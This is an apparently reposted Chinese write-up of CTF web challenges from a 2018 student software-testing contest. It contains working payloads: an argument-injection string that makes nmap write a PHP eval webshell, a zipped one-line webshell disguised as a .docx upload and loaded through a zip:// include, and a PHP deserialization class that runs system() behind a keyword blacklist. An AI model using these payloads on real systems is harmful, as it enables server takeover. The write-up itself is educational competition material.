Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >2018 全国大学生软件测试大赛——安恒杯Web测试大赛全国总决赛部分Writeup

2018 全国大学生软件测试大赛——安恒杯Web测试大赛全国总决赛部分Writeup

作者头像
安恒网络空间安全讲武堂
发布于 2018-12-18 07:47:20
发布于 2018-12-18 07:47:20
2.9K00
代码可运行
举报
运行总次数:0
代码可运行

Orz太菜了只做出了几道水题,还是来赛后秒几题学习一下吧,水题就不赘述了。

在线工具

先看源码。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php

include("flag.php");

if(!isset($_GET['host'])){
    highlight_file(__FILE__);
}else{
    $host =(string)$_GET['host'];
    $host=escapeshellarg($host);
    $host=escapeshellcmd($host);
    $sandbox = md5("dbapp".$_SERVER['REMOTE_ADDR']);
    echo "you are in sandbox: ".$sandbox."<br/>";
    @mkdir($sandbox);
    chdir($sandbox);
    echo "<pre>";
    echo system("nmap -T5  -sT -Pn --host-timeout 2 -F  ".$host);
    echo "</pre>";
}

两个重要函数

来看看官网给这两个函数的解释。

escapeshellarg【http://www.php.net/manual/zh/function.escapeshellarg.php】

将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell函数包含exec()【http://php.net/manual/zh/function.exec.php】system()【http://php.net/manual/zh/function.system.php】执行运算符【http://php.net/manual/zh/language.operators.execution.php】

简单说来它的功能就是确保用户只传递一个参数给命令,用户不能指定更多的参数,用户不能执行不同的命令 。

escapeshellcmd【http://php.net/manual/zh/function.escapeshellcmd.php】

对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到exec()【http://php.net/manual/zh/function.exec.php】system()【http://php.net/manual/zh/function.system.php】函数,或者执行运算符【http://php.net/manual/zh/language.operators.execution.php】之前进行转义。

在转义过程中,反斜线会在以下字符之前插入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
& # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF

'"仅在不配对的时候被转义,在 Windows 平台上,所有这些字符以及%!字符都会被空格代替。

简单说来它的功能就是确保用户只执行一个命令,用户可以指定不限数量的参数,用户不能执行不同的命令。

一个简单结论

对于单个单引号,escapeshellarg函数转义后,还会在被转义字符的左右字符串各加一个单引号进行连接,而escapeshellcmd函数是直接转义。对于成对的单引号,escapeshellcmd函数不转义,但escapeshellarg函数转义。

一个简单举例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php

    $host = "127.0.0.1' -v -d a=1";
    echo $host."</br>";
    $host=escapeshellarg($host);
    echo $host."</br>";
    $host=escapeshellcmd($host);
    echo $host."</br>";
?>

打印出的字符串如下。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1' -v -d a=1
'127.0.0.1'\'' -v -d a=1'
'127.0.0.1'\\'' -v -d a=1\'

分解一下,首先escapeshellarg函数先对单引号转义,再用单引号将原单引号左右两部分括起来从而起到连接的作用。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
'127.0.0.1'\'' -v -d a=1'

然后escapeshellcmd函数对不成对单引号和反斜杠转义,即得到如下字符串。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
'127.0.0.1'\\'' -v -d a=1\'

最终字符串被分割成三个部分。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
'127.0.0.1'
\\
''
-v -d
a=1\'

但是如果是先用escapeshellcmd函数,再用的escapeshellarg函数,则不会发生这个问题。

赛题详解

再来看看题目。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php

include("flag.php");

if(!isset($_GET['host'])){
    highlight_file(__FILE__);
}else{
    $host =(string)$_GET['host'];
    $host=escapeshellarg($host);
    $host=escapeshellcmd($host);
    $sandbox = md5("dbapp".$_SERVER['REMOTE_ADDR']);
    echo "you are in sandbox: ".$sandbox."<br/>";
    @mkdir($sandbox);
    chdir($sandbox);
    echo "<pre>";
    echo system("nmap -T5  -sT -Pn --host-timeout 2 -F  ".$host);
    echo "</pre>";
}

只需要在要执行的恶意代码两边加上分号即可绕过。

并且此处需要用到nmap-oN指令,将标准输出直接写入指定的文件。

先上Payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
' <?php eval($_POST[1]);?> -oN shell.php '

第一次先经过escapeshellarg函数,先对左右两边的单引号进行转义,然后分别对原单引号即现在斜杆加单引号的左右两边再次加上单引号进行字符串连接,得到如下字符串。【为直观观看特意做了空格区分。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
''     \'     ' -oN shell.php '     \'     ''

然后第二次使用escapeshellcmd函数,对斜杆和单个单引号进行转义。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
''     \\     ''     \<\?php eval\(\$_POST\[1\]\)\;\?\>     -oN     shell.php     '\\'     ''

那么最后可以看到字符串被单引号分割成了多份,而最终指令如下。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nmap -T5  -sT -Pn --host-timeout 2 -F ''     \\     ''     \<\?php eval\(\$_POST\[1\]\)\;\?\>     -oN     shell.php     '\\'     ''

删除不必要的东西之后得到如下指令。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nmap -T5  -sT -Pn --host-timeout 2 -F \<\?php eval\(\$_POST\[1\]\)\;\?\> -oN shell.php

即指令目的就是对&lt;\?phpeval\(\$_POST\[1\]\)\;\?\&gt;进行扫描,并将结果存入shell.php

通过这一指令可以将shell写入,从而连上小?。

需要一提的是mac本地用的nmap7.70php5.5.38版本没有复现成功,可能还有别的环境的问题。

放在自己的vps上用nmap7.01php5.4.16成功复现了【我就做出了这题Orz。

黑产了解一下?

赛后秒题开始XD。

似乎是QCTFXMAN选拔赛的题。

在交易市场有9999999flag以及5000000hint

在抽奖界面抓包会发现发送了Json数据,直接用true绕过。【我赛后翻Writeup说是有一个git泄漏代码审计发现这个弱类型判断,但是比赛的时候好像没有扫到这个git泄漏Orz。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"action":"buy","numbers":[true,true,true,true,true,true,true]}

似乎没有办法把钱弄到9999999,那只好买hint,需要一提的是网页上的购买hint按钮是假的,点击没有反应,只好Burpsuite发包购买。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"action":"hint"}

Post发送如上请求后返回一个admin pass isQWERTYUIOPASDFGHJKL的字符串,应该是需要用这个pass的密码去注册admin账号,登陆后多了一个上传页面。

这儿只能上传docdocx,测试后发现校验了后缀名、Mime、文件头。

且这里有一个文件包含,后缀会添加php

然后由于doczip的文件头一样,因此构造一句话木马打包后,Burpsuite抓包修改后缀名和Mime类型上传,最后使用zip伪协议读取即可。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?page=zip://uploads/e65eee3bd3f975947e589d1e6ae279ccdf31fb3e.docx%23south

其中的south是小马的名字,以及这里需要一提的是uploads这个目录下的flag是假的,这里需要使用find命令来寻找flag,最后是在/etc/flag这个路径找到flag

不知名的小站

这题在比赛的时候就发现了一个反序列化漏洞,但是没找到class方法,后来在月赛群里和师傅们聊的时候有提及说题目提示hinthint.txt提示断电,然后联想到.hint.txt.swp,然后就有一个源码泄漏。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    function verify($name,$location){
        if(empty($name)){
            die("<script =\"JavaScript\"> alert('请先登录!');self.location='$location';</script>");
        }       
    }

    class info{
        public $name;
        public $ages;
        public $cmd;   
        public $black_str;

    function say_name(){
        echo $this->name;
    }

    function say_ages(){
        echo $this->ages;
    }

    function safe($str){
        $this->black_str = 'ls| |{I|;|%0a|cat|flag|find|&|<';
        $check = eregi($this->black_str,$str);
        return $check;
    }

    function __destruct(){
        $check = $this->safe($this->cmd);
        if($check){
            die("<script language=\"JavaScript\"> alert('您的内容含有字符非法!'); self.location='./index.php'; </script> ");
        }
        @system($this->cmd);
    }
}
?>

然后在注册登陆后抓包可以看到POST了一个反序列化的字符串上去。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
O:4:"info":4:{s:4:"name";s:5:"admin";s:4:"ages";s:2:"12";s:3:"cmd";N;s:9:"black_str";N;}

根据源码泄漏构造绕过,eregi可以使用%00截断绕过,其他内容和些许不足有错误遗漏的地方由于赛后秒题环境缺失无法复现,因此不能详细补充纠正这篇文章Orz。

Refer

谈谈escapeshellarg参数绕过和注入的问题【http://u3v.cn/4qLoRw】

利用/绕过 PHP escapeshellarg/escapeshellcmd函数【http://u3v.cn/5aDf17】

SKCTF2【http://v0w.top/2018/04/21/SKCTF2-wp/】

escapeshellarg 和 escapeshellcmd 函数【http://u3v.cn/4yhEXX】

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-11-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Quant值得拥有的AutoML框架
自动机器学习,也称为 AutoML,是将机器学习应用于实际问题的端到端过程自动化的过程。典型的机器学习过程包括几个步骤,包括数据的摄取和预处理、特征工程、模型训练和部署。在传统的机器学习中,Pipeline中的每一步都是由人来监控和执行的。自动机器学习工具(automatic machine learning)旨在自动化这些机器学习的一个或多个阶段,使非专家更容易建立机器学习模型,同时消除重复性任务,使经验丰富的机器学习工程师能够更快地建立更好的模型。
量化投资与机器学习微信公众号
2021/09/17
1.3K0
独家 | 在时间关系数据上AutoML:一个新的前沿
现实世界中的机器学习系统需要数据科学家和领域专家来建立和维护,而这样的人才却总是供不应求。自动化机器学习(AutoML)由于在构建和维护机器学习工作流中的关键步骤中所展现出的广泛适用性,使得该领域的研究前景一片光明。它减轻了人类专家的工作负担,使他们能够专注于复杂、非重复和具有创造性的学习问题。
数据派THU
2019/11/26
8920
AutoML:机器学习的下一波浪潮
AI 前线导读: 人工智能和机器学习仍然是一个进入门槛较高的领域,需要专业的知识和资源,很少有公司可以自己承担。—— 李飞飞自动机器学习(AutoML)是将机器学习应用于现实问题的端到端流程自动化的过程。AutoML 使真正意义上的机器学习成为可能,即使对于没有该领域专业知识的人也是如此。本文介绍了一些流行的 AutoML 框架,这些框架的趋势是自动化部分或整个机器学习的管道。更多优质内容请关注微信公众号“AI 前线”(ID:ai-front)
用户7886150
2020/12/27
1.3K0
AutoML研究综述:让AI学习设计AI
选自 arXiv 作者:Marc-André Zöller、Marco F. Huber
机器之心
2019/05/15
6900
AutoML研究综述:让AI学习设计AI
AutoML工具对比与总结
向AI转型的程序员都关注了这个号👇👇👇 机器学习AI算法工程   公众号:datayx 自动机器学习(AutoML)是将机器学习应用于现实问题的端到端流程自动化的过程。 传统机器学习模型大致可分为以下四个部分:数据采集、数据预处理、优化、应用; 其中数据预处理与模型优化部分往往需要具备专业知识的数据科学家来完成,他们建立起了数据到计算的桥梁。 然而,即使是数据科学家,也需要花费大量的精力来进行算法与模型的选择。 机器学习在各种应用中的成功,导致对机器学习从业人员的需求不断增长,因此我们希望实现真正意义上的机
机器学习AI算法工程
2022/09/20
2.2K0
AutoML工具对比与总结
了解自动化机器学习 AutoML
自动化机器学习(AutoML)旨在自动化机器学习模型的开发流程,通过简化或去除需要专业知识的复杂步骤,让非专家用户也能轻松创建和部署机器学习模型。AutoML 的核心组件包括:数据预处理、特征工程、模型选择、模型训练与超参数优化以及模型部署与推理。
叶庭云
2024/05/25
4690
比谷歌AutoML快110倍,全流程自动机器学习平台应该是这样的
昨日,机器之心联合 MoBagel(行动贝果) 举行了 AutoML 线下技术分享会,我们很荣幸邀请到两位来自硅谷的技术大咖,MoBagel 钟哲民与郭安哲,他们向我们介绍了全流程 AutoML 技术到底是什么,它能干什么,能做哪些极致优化。
机器之心
2019/12/24
8460
前沿技术|自动机器学习综述
自从计算机时代开始,科学家和工程师们就一直想知道如何像人类一样,给计算机注入学习的能力。艾伦·图灵是第一批提出智能理论的科学家之一,该理论设想有一天计算机能够达到与人类同等的智能水平。从那时起,机器学习领域发生了一系列巨大的飞跃。我们已经看到机器学习在许多情况下击败或至少匹配特定的人类认知能力,例如在ResNet(一种深度残留的网络架构)的情况下超越了人类在图像识别方面的表现,或者微软的语音转录系统几乎达到人类水平的表现。
陆勤_数据人网
2021/08/06
1.2K0
前沿技术|自动机器学习综述
独家 | 自动机器学习:团队如何在自动学习项目中一起工作?(附链接)
本文介绍了在零售商工作的数据科学家、项目经理和业务主管利用自动机器学习和Azure机器学习服务来减少产品库存过剩的具体过程。
数据派THU
2020/02/20
3770
独家 | 自动机器学习:团队如何在自动学习项目中一起工作?(附链接)
开源 | Salesforce开源TransmogrifAI:用于结构化数据的端到端AutoML库
在过去的十年中,尽管机器学习取得了巨大的进步,但是建立生产就绪的机器学习系统仍然十分困难。三年前,当我们开始将机器学习功能构建到 Salesforce 平台上时,我们发现构建企业级的机器学习系统更是难上加难。为了解决我们遇到的问题,我们构建了 TransmogrifAI,一个用于结构化数据的端到端自动机器学习库。今天,这个库已经在生产中帮助驱动我们的 Einstein AI 平台。在这里,我们很高兴与开源社区共享这个项目,使其他开发人员和数据科学家能够大规模、快速地构建机器学习解决方案。
机器之心
2018/09/20
1.2K0
开源 | Salesforce开源TransmogrifAI:用于结构化数据的端到端AutoML库
数据科学即将迎来“无代码”时代
我们正在进入数据科学实践的新阶段,即“无代码”时代。 像所有重大的变化一样,这个变化还没有在实践中清晰地体现,但这个变化影响深远,发展趋势非常明显。
大数据文摘
2018/11/08
4560
自动机器学习工具全景图:精选22种框架,解放炼丹师
收集原始数据、合并数据源、清洗数据、特征工程、模型构建、超参数调优、模型验证和设备部署。
量子位
2018/09/29
1.2K0
自动机器学习工具全景图:精选22种框架,解放炼丹师
AutoML – 用于构建机器学习模型的无代码解决方案
2018年,谷歌推出了云AutoML,引起了广泛关注,是机器学习和人工智能领域最重要的工具之一。在本文中,你将学习“AutoML”,这是一种借助 Google 云 AutoML 构建机器学习模型的无代码解决方案。
磐创AI
2023/08/29
8780
AutoML – 用于构建机器学习模型的无代码解决方案
19个超赞的数据科学和机器学习工具,编程小白必看!(附资料)
编程是数据科学的一个组成部分。事实上,理解编程逻辑、循环和函数的人更有可能成为成功的数据科学家。但那些在学校里从未学习过编程的人怎么办?
数据派THU
2018/07/30
8330
19个超赞的数据科学和机器学习工具,编程小白必看!(附资料)
20个必备的Python机器学习库,建议收藏!
来源丨网络 推荐阅读:终于来了,【第二期】 彭涛Python 爬虫特训营!! AutoML是指自动机器学习。它说明了如何在组织和教育水平上自动化机器学习的端到端过程。机器学习模型基本上包括以下步骤: 数据读取和合并,使其可供使用。 数据预处理是指数据清理和数据整理。 优化功能和模型选择过程的位置。 将其应用于应用程序以预测准确的值。 最初,所有这些步骤都是手动完成的。但是现在随着AutoML的出现,这些步骤可以实现自动化。AutoML当前分为三类: 用于自动参数调整的AutoML(相对基本的类型) 用于非深
sergiojune
2022/09/28
9600
20个必备的Python机器学习库,建议收藏!
自动机器学习:团队如何在自动学习项目中一起工作?(附链接)
去年11月,我写了一篇关于使用自动机器学习来进行AI民主化(democratization)的文章(见下面链接)。
AI科技大本营
2020/02/20
6000
自动机器学习:团队如何在自动学习项目中一起工作?(附链接)
Cloudera 机器学习中现已提供新的应用 ML 原型
数据科学家的工作艰巨,这已不是什么秘密。感觉就像很久以前,每个人都在谈论数据科学是21 世纪最性感的工作。哎呀,这么久了,人们还亲自见面呢!今天,性感开始失去光泽。人们认识到,几乎不可能找到 2012 年每个 CEO 眼中的独角兽数据科学家。你知道那个,数学家 / 统计学家 / 计算机科学家 / 数据工程师 / 行业专家。事实证明,很难在一个大脑中找到所有这些令人敬畏的东西。
大数据杂货铺
2021/12/15
6680
Cloudera 机器学习中现已提供新的应用 ML 原型
告别调参,AutoML新书221页免费下载
近期,由Frank Hutter, Lars Kotthoff, Joaquin Vanschoren撰写的《AUTOML:方法,系统,挑战》“AUTOML: METHODS, SYSTEMS, CHALLENGES (NEW BOOK)” 221页的草稿版本已经放出,详细讲解了所有AutoML系统背后的基础知识,以及对当前AutoML系统进行了深入描述,Auto-WEKA、Hyperopt-Sklearn、Auto-sklearn等,最后介绍了AutoML的挑战。作者当前正在完成这本新书的编辑工作,它将由NIPS 2018出版发行。
新智元
2018/10/24
6040
告别调参,AutoML新书221页免费下载
在白板上写写画画,集成AutoML的数据分析也能如此简单
在《钢铁侠》系列电影中,托尼·史塔克用全息投影显示三维数据,用手进行拖拽调整,然后解决超级英雄遇到的问题。现在,MIT 和布朗大学的研究者合作开发了一个交互式数据分析系统,该系统可以在触摸屏上运行,所有人(不仅仅限于托尼那样的天才亿万富翁)都可以使用数据分析解决现实世界问题。
机器之心
2019/07/11
6320
在白板上写写画画,集成AutoML的数据分析也能如此简单
用于时间序列预测的AutoML
最近,参加了AutoSeries —时间序列数据的AutoML竞赛,在其中设法获得40个竞争对手(决赛中的15个)的第一名。这篇文章是解决方案的概述。
代码医生工作室
2020/01/17
1.9K0
用于时间序列预测的AutoML
推荐阅读
相关推荐
Quant值得拥有的AutoML框架
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验